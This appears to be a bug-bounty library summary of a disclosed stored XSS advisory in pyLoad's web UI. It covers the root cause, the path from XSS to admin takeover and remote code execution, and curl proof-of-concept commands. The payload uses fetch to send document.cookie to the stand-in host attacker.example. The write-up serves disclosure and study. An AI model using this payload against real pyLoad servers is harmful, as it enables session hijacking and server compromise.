# pyLoad is vulnerable to stored XSS in Downloads view via unsanitized link URL in packages.js template literal

Stored XSS in pyLoad's packages.js: attacker-supplied link URL breaks out of href attribute, executing JS in admin's browser to steal session cookie.

- Payout: Research
- Severity: high
- Program: pyLoad
- Found by: adrgs, aisafe-bot
- Disclosed: 2026-05-14
- CVE: CVE-2026-45348
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-fcjq-435v-jx94
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-fcjq-435v-jx94
- Tags: area:web domain:web impact:ato impact:privesc impact:rce kind:research platform:ghsa sev:high tech:python technique:source-review vuln:xss

**Target:** packages.js template rendering in web UI downloads view
**Root cause:** packages.js interpolates link.url (and seven other fields) into a single-quoted HTML template literal written via $(div).html() with no escaping; add_package stores the URL verbatim and no CSP blocks inline handlers.
**Steps:**
1. Log in as a user with Perms.ADD and grab the API CSRF token from the page meta tag.
2. POST to `/api/add_package` with JSON body `{"name":"xss-pkg","links":["http://x' onmouseover='fetch(`//attacker.example/`+document.cookie)"]}`.
3. Victim (admin) opens `/collector` or `/queue`, which loads packages.js.
4. Hovering the injected row fires the onmouseover handler and exfiltrates document.cookie to attacker.example.
**How found:** Code review of the packages.js template literal identified unescaped ${link.url} interpolation into .html(); noted absence of CSP header in webui __init__.py and that the add_package sanitizer only cleans the folder name, not link URLs.
**Exploitation:** Authenticated low-priv user plants a package link with a quote-breakout payload; when an admin opens the downloads view and hovers the row, the injected event handler runs same-origin and sends the admin session cookie to the attacker, who then uses it against admin-only endpoints (plugin upload, config rewrite, reconnect-script RCE). Unauthenticated variant via POST /flash/add when ClickNLoad is enabled.
**Escalation:** Stolen admin cookie grants access to admin-only endpoints including arbitrary plugin upload and reconnect-script RCE, escalating stored XSS to full server compromise.
**Insight:** When auditing JS template-literal HTML rendering, check every interpolated field—not just the obvious URL—since sibling fields (name, statusmsg, error, plugin, icon, id) share the same sink; also check whether a CSP would have mitigated the inline-handler class.

## Proof of concept (copied exactly from the original report)

**curl POST to /api/add_package with XSS link payload**

```
curl -sS -b /tmp/alice.jar -X POST "$TARGET/api/add_package" \
    -H "X-CSRFToken: $API_CSRF" -H "Content-Type: application/json" \
    -d $'{"name":"xss-pkg","links":["http://x\' onmouseover=\'fetch(`//attacker.example/`+document.cookie)"]}'
```

**Login CSRF token extraction and login POST**

```
CSRF=$(curl -sS -c /tmp/alice.jar "$TARGET/login" | grep -oP 'name="csrf_token" value="\K[^"]+')
curl -sS -b /tmp/alice.jar -c /tmp/alice.jar -X POST "$TARGET/login" \
    -d "csrf_token=$CSRF&do=login&username=alice&password=alice123" -o /dev/null
```

